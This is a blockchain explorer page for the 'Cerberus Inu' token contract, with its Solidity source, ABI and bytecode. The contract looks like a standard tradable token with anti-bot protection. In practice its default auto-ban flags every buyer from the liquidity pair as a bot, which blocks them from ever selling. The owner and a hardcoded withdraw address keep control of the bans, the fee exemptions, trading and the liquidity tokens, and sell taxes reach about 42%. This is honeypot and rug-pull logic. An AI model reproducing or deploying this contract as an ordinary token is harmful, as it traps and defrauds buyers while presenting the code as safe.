Contract Address Details

0xc8fF8C47F0254b2538ACCd3D2A7Ca9AfE52D22ca

Token
Cerberus Inu (Cerberus)
Creator
0xc78c5c–1c36b0 at 0x1b2e29–b43a34
Balance
0.11300527792069438 Metis
Tokens
Fetching tokens...
Transactions
104 Transactions
Transfers
197 Transfers
Gas Used
5,700,764
Last Balance Update
1304393
Contract name:
CerberusInu




Optimization enabled
true
Compiler version
v0.8.7+commit.e28d00a7




Optimization runs
200
EVM Version
default




Verified at
2022-01-20T05:05:00.491478Z

Contract source code


// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract ERC20 is IERC20 {
    uint256 internal _totalSupply = 1e22;
    string _name;
    string _symbol;
    uint8 constant _decimals = 18;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() external view returns (string memory) {
        return _name;
    }

    function symbol() external view returns (string memory) {
        return _symbol;
    }

    function decimals() external pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        _beforeTokenTransfer(from, to, amount);

        uint256 senderBalance = _balances[from];
        require(senderBalance >= amount);
        unchecked {
            _balances[from] = senderBalance - amount;
        }
        _balances[to] += amount;
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function allowance(address owner, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        external
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(currentAllowance >= amount);
        unchecked {
            _approve(sender, msg.sender, currentAllowance - amount);
        }

        return true;
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0));

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount);
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

pragma solidity ^0.8.7;

interface IUniswapV2Router02 {
    //function swapExactTokensForETHSupportingFeeOnTransferTokens(
    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

pragma solidity ^0.8.7;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

abstract contract TradableErc20 is ERC20 {
    IUniswapV2Router02 internal constant _uniswapV2Router =
        IUniswapV2Router02(0x81b9FA50D5f5155Ee17817C21702C3AE4780AD09);
    address public uniswapV2Pair;
    bool public tradingEnable;
    mapping(address => bool) public isBot;
    mapping(address => bool) _isExcludedFromFee;
    bool _autoBanBots = true;
    bool _inSwap;
    uint256 public maxBuy;

    uint256 constant maxBuyIncrementMinutesTimer = 2; // increment maxbuy minutes
    uint256 constant maxBuyIncrementPercentage = 1; // increment maxbuy percentage 1000=100%
    uint256 public maxBuyIncrementValue; // value for increment maxBuy
    uint256 public incrementTime; // last increment time

    modifier onlyOwner() {
        require(isOwner(msg.sender));
        _;
    }

    modifier lockTheSwap() {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    constructor(string memory name_, string memory symbol_)
        ERC20(name_, symbol_)
    {
        _isExcludedFromFee[address(0)] = true;
    }

    receive() external payable {}

    function makeLiquidity() public onlyOwner {
        require(uniswapV2Pair == address(0));
        address pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );
        _balances[address(this)] = _totalSupply;
        _allowances[address(this)][address(_uniswapV2Router)] = _totalSupply;
        _isExcludedFromFee[pair] = true;
        _uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            _totalSupply,
            0,
            0,
            msg.sender,
            block.timestamp
        );

        uniswapV2Pair = pair;
        tradingEnable = true;

        incrementTime = block.timestamp;
        maxBuyIncrementValue = (_totalSupply * maxBuyIncrementPercentage) / 1000;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(!isBot[from] && !isBot[to]);

        // buy
        if (from == uniswapV2Pair && !_isExcludedFromFee[to]) {
            // increment maxBuy
            uint256 incrementCount = (block.timestamp - incrementTime) /
                (maxBuyIncrementMinutesTimer * 1 minutes);
            if (incrementCount > 0) {
                if (maxBuy < _totalSupply)
                    maxBuy += maxBuyIncrementValue * incrementCount;
                incrementTime = block.timestamp;
            }

            require(tradingEnable);
            if (!_autoBanBots) require(_balances[to] + amount <= maxBuy);
            // antibot
            if (_autoBanBots) isBot[to] = true;
            amount = _getFeeBuy(amount);
        }

        // sell
        if (!_inSwap && uniswapV2Pair != address(0) && to == uniswapV2Pair) {
            amount = _getFeeSell(amount, from);
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                uint256 maxContractBalance = (balanceOf(uniswapV2Pair) *
                    getMaxContractBalancePercent()) / 100;
                if (contractTokenBalance > maxContractBalance) {
                    uint256 burnCount;
                    unchecked {
                        burnCount = contractTokenBalance - maxContractBalance;
                    }
                    contractTokenBalance = maxContractBalance;
                    _totalSupply -= burnCount;
                    emit Transfer(address(this), address(0), burnCount);
                }
                //console.log("swapTokensForEth");
                uint256 swapCount = contractTokenBalance;
                uint256 maxSwapCount = 2 * amount;
                if (swapCount > maxSwapCount) swapCount = maxSwapCount;
                swapTokensForEth(swapCount);
            }
        }

        // transfer
        //console.log(from, "->", to);
        //console.log("amount: ", amount);
        super._transfer(from, to, amount);
        //console.log("=====end transfer=====");
    }

    function _getFeeBuy(uint256 amount) private returns (uint256) {
        uint256 fee = amount / 11; // 9.09%
        amount -= fee;
        _balances[address(this)] += fee;
        return amount;
    }

    function getSellBurnCount(uint256 amount) internal view returns (uint256) {
        // calculate fee percent
        uint256 value = _balances[uniswapV2Pair];
        uint256 vMin = value / 100; // min additive tax amount
        if (amount <= vMin) return amount / 20; // 5% constant tax
        uint256 vMax = value / 10; // max additive tax amount 10%
        if (amount > vMax) return (amount * 35) / 100; // 35% tax

        // additive tax, that in intervat 0-35%
        return (((amount - vMin) * 35 * amount) / (vMax - vMin)) / 100;
    }

    function _getFeeSell(uint256 amount, address account)
        private
        returns (uint256)
    {
        // get taxes
        uint256 devFee = amount / 14; // 7.1%
        uint256 burnCount = getSellBurnCount(amount); // burn count

        amount -= devFee + burnCount;
        _balances[account] -= devFee + burnCount;        
        _balances[address(this)] += devFee;
        _totalSupply -= burnCount;
        emit Transfer(address(this), address(0), burnCount);
        return amount;
    }

    function setMaxBuy(uint256 percent) external onlyOwner {
        _setMaxBuy(percent);
    }

    function _setMaxBuy(uint256 percentil) internal {
        maxBuy = (percentil * _totalSupply) / 1000;
    }

    function getMaxBuy() external view returns (uint256) {
        uint256 incrementCount = (block.timestamp - incrementTime) /
            (maxBuyIncrementMinutesTimer * 1 minutes);
        if (incrementCount == 0) return maxBuy;

        return maxBuy + maxBuyIncrementValue * incrementCount;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        // make the swap
        _uniswapV2Router.swapExactTokensForETH(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
    }

    function setBots(address[] memory accounts, bool value) external onlyOwner {
        for (uint256 i = 0; i < accounts.length; ++i) {
            isBot[accounts[i]] = value;
        }
    }

    function setExcludeFromFee(address[] memory accounts, bool value)
        external
        onlyOwner
    {
        for (uint256 i = 0; i < accounts.length; ++i) {
            _isExcludedFromFee[accounts[i]] = value;
        }
    }

    function setTradingEnable(bool value, bool autoBanBotsValue)
        external
        onlyOwner
    {
        tradingEnable = value;
        _autoBanBots = autoBanBotsValue;
    }

    function setAutoBanBots(bool value) external onlyOwner {
        _autoBanBots = value;
    }

    function withdraw() external onlyOwner {
        _withdraw(address(this).balance);
    }

    function getMaxContractBalancePercent() internal virtual returns (uint256);

    function _withdraw(uint256 sum) internal virtual;

    function isOwner(address account) internal virtual returns (bool);
}

pragma solidity ^0.8.7;

contract CerberusInu is TradableErc20 {
    address _owner;
    address _withdrawAddress =
        address(0xC78c5CE7954b19E7606035e843cb11f4331c36B0);
    uint256 maxContractLiquidityPercent = 4;

    constructor() TradableErc20("Cerberus Inu", "Cerberus") {
        _owner = msg.sender;
        _setMaxBuy(4);
    }

    function getMaxContractBalancePercent()
        internal
        view
        override
        returns (uint256)
    {
        return maxContractLiquidityPercent;
    }

    function setMaxContractLiquidityPercent(uint256 newMaxLiquidityPercent)
        external
        onlyOwner
    {
        maxContractLiquidityPercent = newMaxLiquidityPercent;
    }

    function _withdraw(uint256 sum) internal override {
        payable(_withdrawAddress).transfer(sum);
    }

    function isOwner(address account) internal view override returns (bool) {
        return account == _owner || account == _withdrawAddress;
    }

    function transferOwnership(address newOwner) external onlyOwner {
        _owner = newOwner;
    }
}
        

Contract ABI

[{"type":"constructor","stateMutability":"nonpayable","inputs":[]},{"type":"event","name":"Approval","inputs":[{"type":"address","name":"owner","internalType":"address","indexed":true},{"type":"address","name":"spender","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"type":"address","name":"from","internalType":"address","indexed":true},{"type":"address","name":"to","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"allowance","inputs":[{"type":"address","name":"owner","internalType":"address"},{"type":"address","name":"spender","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approve","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"balanceOf","inputs":[{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"pure","outputs":[{"type":"uint8","name":"","internalType":"uint8"}],"name":"decimals","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"getMaxBuy","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"incrementTime","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"isBot","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"makeLiquidity","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"maxBuy","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"maxBuyIncrementValue","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"name","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setAutoBanBots","inputs":[{"type":"bool","name":"value","internalType":"bool"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setBots","inputs":[{"type":"address[]","name":"accounts","internalType":"address[]"},{"type":"bool","name":"value","internalType":"bool"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setExcludeFromFee","inputs":[{"type":"address[]","name":"accounts","internalType":"address[]"},{"type":"bool","name":"value","internalType":"bool"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setMaxBuy","inputs":[{"type":"uint256","name":"percent","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setMaxContractLiquidityPercent","inputs":[{"type":"uint256","name":"newMaxLiquidityPercent","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setTradingEnable","inputs":[{"type":"bool","name":"value","internalType":"bool"},{"type":"bool","name":"autoBanBotsValue","internalType":"bool"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"symbol","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalSupply","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"tradingEnable","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transfer","inputs":[{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transferFrom","inputs":[{"type":"address","name":"sender","internalType":"address"},{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"transferOwnership","inputs":[{"type":"address","name":"newOwner","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"uniswapV2Pair","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"withdraw","inputs":[]},{"type":"receive","stateMutability":"payable"}]
            

Deployed ByteCode

0x60806040526004361061016a5760003560e01c806370db69d6116100d1578063a9059cbb1161008a578063b203919e11610064578063b203919e1461042e578063dd62ed3e14610443578063f2fde38b14610489578063f53bc835146104a957600080fd5b8063a9059cbb146103d8578063acefa691146103f8578063aff41b7b1461041857600080fd5b806370db69d61461034257806395d89b411461035857806396790d4a1461036d57806399bf3266146103825780639b6f6d78146103985780639c0db5f3146103b857600080fd5b80633bbac579116101235780633bbac5791461024d5780633ccfd60b1461027d57806349bd5a5e1461029457806352e53988146102cc5780636c90b57f146102ec57806370a082311461030c57600080fd5b806306fdde0314610176578063095ea7b3146101a15780631693e8d4146101d157806318160ddd146101f257806323b872dd14610211578063313ce5671461023157600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104c9565b6040516101989190611590565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc3660046113f1565b61055b565b6040519015158152602001610198565b3480156101dd57600080fd5b506005546101c190600160a01b900460ff1681565b3480156101fe57600080fd5b506000545b604051908152602001610198565b34801561021d57600080fd5b506101c161022c3660046113b0565b610571565b34801561023d57600080fd5b5060405160128152602001610198565b34801561025957600080fd5b506101c1610268366004611336565b60066020526000908152604090205460ff1681565b34801561028957600080fd5b506102926105c7565b005b3480156102a057600080fd5b506005546102b4906001600160a01b031681565b6040516001600160a01b039091168152602001610198565b3480156102d857600080fd5b506102926102e7366004611549565b6105e4565b3480156102f857600080fd5b5061029261030736600461141d565b6105fb565b34801561031857600080fd5b50610203610327366004611336565b6001600160a01b031660009081526003602052604090205490565b34801561034e57600080fd5b5061020360095481565b34801561036457600080fd5b5061018b610677565b34801561037957600080fd5b50610203610686565b34801561038e57600080fd5b50610203600b5481565b3480156103a457600080fd5b506102926103b33660046114fb565b6106dc565b3480156103c457600080fd5b506102926103d336600461141d565b610701565b3480156103e457600080fd5b506101c16103f33660046113f1565b610778565b34801561040457600080fd5b50610292610413366004611516565b610785565b34801561042457600080fd5b50610203600a5481565b34801561043a57600080fd5b506102926107c8565b34801561044f57600080fd5b5061020361045e366004611377565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561049557600080fd5b506102926104a4366004611336565b610ace565b3480156104b557600080fd5b506102926104c4366004611549565b610b02565b6060600180546104d8906116c6565b80601f0160208091040260200160405190810160405280929190818152602001828054610504906116c6565b80156105515780601f1061052657610100808354040283529160200191610551565b820191906000526020600020905b81548152906001019060200180831161053457829003601f168201915b5050505050905090565b6000610568338484610b20565b50600192915050565b600061057e848484610b81565b6001600160a01b0384166000908152600460209081526040808320338452909152902054828110156105af57600080fd5b6105bc8533858403610b20565b506001949350505050565b6105d033610e31565b6105d957600080fd5b6105e247610e63565b565b6105ed33610e31565b6105f657600080fd5b600e55565b61060433610e31565b61060d57600080fd5b60005b825181101561067257816007600085848151811061063057610630611732565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905561066b81611701565b9050610610565b505050565b6060600280546104d8906116c6565b6000806106956002603c611690565b600b546106a290426116af565b6106ac919061166e565b9050806106bb57505060095490565b80600a546106c99190611690565b6009546106d69190611656565b91505090565b6106e533610e31565b6106ee57600080fd5b6008805460ff1916911515919091179055565b61070a33610e31565b61071357600080fd5b60005b825181101561067257816006600085848151811061073657610736611732565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905561077181611701565b9050610716565b6000610568338484610b81565b61078e33610e31565b61079757600080fd5b6005805460ff60a01b1916600160a01b93151593909302929092179091556008805460ff1916911515919091179055565b6107d133610e31565b6107da57600080fd5b6005546001600160a01b0316156107f057600080fd5b60007381b9fa50d5f5155ee17817c21702c3ae4780ad096001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561083f57600080fd5b505afa158015610853573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610877919061135a565b6001600160a01b031663c9c65396307381b9fa50d5f5155ee17817c21702c3ae4780ad096001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108d357600080fd5b505afa1580156108e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090b919061135a565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561095357600080fd5b505af1158015610967573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098b919061135a565b600080543080835260036020908152604080852084905560048083528186207381b9fa50d5f5155ee17817c21702c3ae4780ad09808852908452828720959095556001600160a01b03871686526007909252808520805460ff191660011790558454905163f305d71960e01b81529182019290925260248101919091526044810183905260648101929092523360848301524260a483015291925063f305d71990479060c4016060604051808303818588803b158015610a4a57600080fd5b505af1158015610a5e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a839190611562565b5050600580546001600160a81b0319166001600160a01b03841617600160a01b1790555042600b556000546103e890610abe90600190611690565b610ac8919061166e565b600a5550565b610ad733610e31565b610ae057600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b610b0b33610e31565b610b1457600080fd5b610b1d81610ea1565b50565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526006602052604090205460ff16158015610bc357506001600160a01b03821660009081526006602052604090205460ff16155b610bcc57600080fd5b6005546001600160a01b038481169116148015610c0257506001600160a01b03821660009081526007602052604090205460ff16155b15610cf8576000610c156002603c611690565b600b54610c2290426116af565b610c2c919061166e565b90508015610c6a576000546009541015610c655780600a54610c4e9190611690565b60096000828254610c5f9190611656565b90915550505b42600b555b600554600160a01b900460ff16610c8057600080fd5b60085460ff16610cbc576009546001600160a01b038416600090815260036020526040902054610cb1908490611656565b1115610cbc57600080fd5b60085460ff1615610ceb576001600160a01b0383166000908152600660205260409020805460ff191660011790555b610cf482610ec2565b9150505b600854610100900460ff16158015610d1a57506005546001600160a01b031615155b8015610d3357506005546001600160a01b038381169116145b15610e2657610d428184610f0c565b306000908152600360205260409020549091508015610e245760006064610d68600e5490565b6005546001600160a01b0316600090815260036020526040902054610d8d9190611690565b610d97919061166e565b905080821115610dfb576000818303905081925080600080828254610dbc91906116af565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505b816000610e09856002611690565b905080821115610e17578091505b610e2082610ff3565b5050505b505b6106728383836111af565b600c546000906001600160a01b0383811691161480610e5d5750600d546001600160a01b038381169116145b92915050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e9d573d6000803e3d6000fd5b5050565b6103e860005482610eb29190611690565b610ebc919061166e565b60095550565b600080610ed0600b8461166e565b9050610edc81846116af565b30600090815260036020526040812080549295508392909190610f00908490611656565b90915550929392505050565b600080610f1a600e8561166e565b90506000610f2785611266565b9050610f338183611656565b610f3d90866116af565b9450610f498183611656565b6001600160a01b03851660009081526003602052604081208054909190610f719084906116af565b90915550503060009081526003602052604081208054849290610f95908490611656565b9250508190555080600080828254610fad91906116af565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350929392505050565b6008805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061103757611037611732565b60200260200101906001600160a01b031690816001600160a01b0316815250507381b9fa50d5f5155ee17817c21702c3ae4780ad096001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156110a457600080fd5b505afa1580156110b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110dc919061135a565b816001815181106110ef576110ef611732565b60200260200101906001600160a01b031690816001600160a01b03168152505061112e307381b9fa50d5f5155ee17817c21702c3ae4780ad0984610b20565b6040516318cbafe560e01b81527381b9fa50d5f5155ee17817c21702c3ae4780ad09906318cbafe59061116e9085906000908690309042906004016115e5565b600060405180830381600087803b15801561118857600080fd5b505af115801561119c573d6000803e3d6000fd5b50506008805461ff001916905550505050565b6001600160a01b038316600090815260036020526040902054818110156111d557600080fd5b6001600160a01b0380851660009081526003602052604080822085850390559185168152908120805484929061120c908490611656565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161125891815260200190565b60405180910390a350505050565b6005546001600160a01b03166000908152600360205260408120548161128d60648361166e565b90508084116112a9576112a160148561166e565b949350505050565b60006112b6600a8461166e565b9050808511156112e05760646112cd866023611690565b6112d7919061166e565b95945050505050565b60646112ec83836116af565b866112f785826116af565b611302906023611690565b61130c9190611690565b6112cd919061166e565b80356113218161175e565b919050565b8035801515811461132157600080fd5b60006020828403121561134857600080fd5b81356113538161175e565b9392505050565b60006020828403121561136c57600080fd5b81516113538161175e565b6000806040838503121561138a57600080fd5b82356113958161175e565b915060208301356113a58161175e565b809150509250929050565b6000806000606084860312156113c557600080fd5b83356113d08161175e565b925060208401356113e08161175e565b929592945050506040919091013590565b6000806040838503121561140457600080fd5b823561140f8161175e565b946020939093013593505050565b6000806040838503121561143057600080fd5b823567ffffffffffffffff8082111561144857600080fd5b818501915085601f83011261145c57600080fd5b813560208282111561147057611470611748565b8160051b604051601f19603f8301168101818110868211171561149557611495611748565b604052838152828101945085830182870184018b10156114b457600080fd5b600096505b848710156114de576114ca81611316565b8652600196909601959483019483016114b9565b5096506114ee9050878201611326565b9450505050509250929050565b60006020828403121561150d57600080fd5b61135382611326565b6000806040838503121561152957600080fd5b61153283611326565b915061154060208401611326565b90509250929050565b60006020828403121561155b57600080fd5b5035919050565b60008060006060848603121561157757600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156115bd578581018301518582016040015282016115a1565b818111156115cf576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116355784516001600160a01b031683529383019391830191600101611610565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156116695761166961171c565b500190565b60008261168b57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156116aa576116aa61171c565b500290565b6000828210156116c1576116c161171c565b500390565b600181811c908216806116da57607f821691505b602082108114156116fb57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156117155761171561171c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610b1d57600080fdfea264697066735822122092133a12a311e8d8fa5901daafa1237bd4230fae9d625005eaddbc9ec3f3a76a64736f6c63430008070033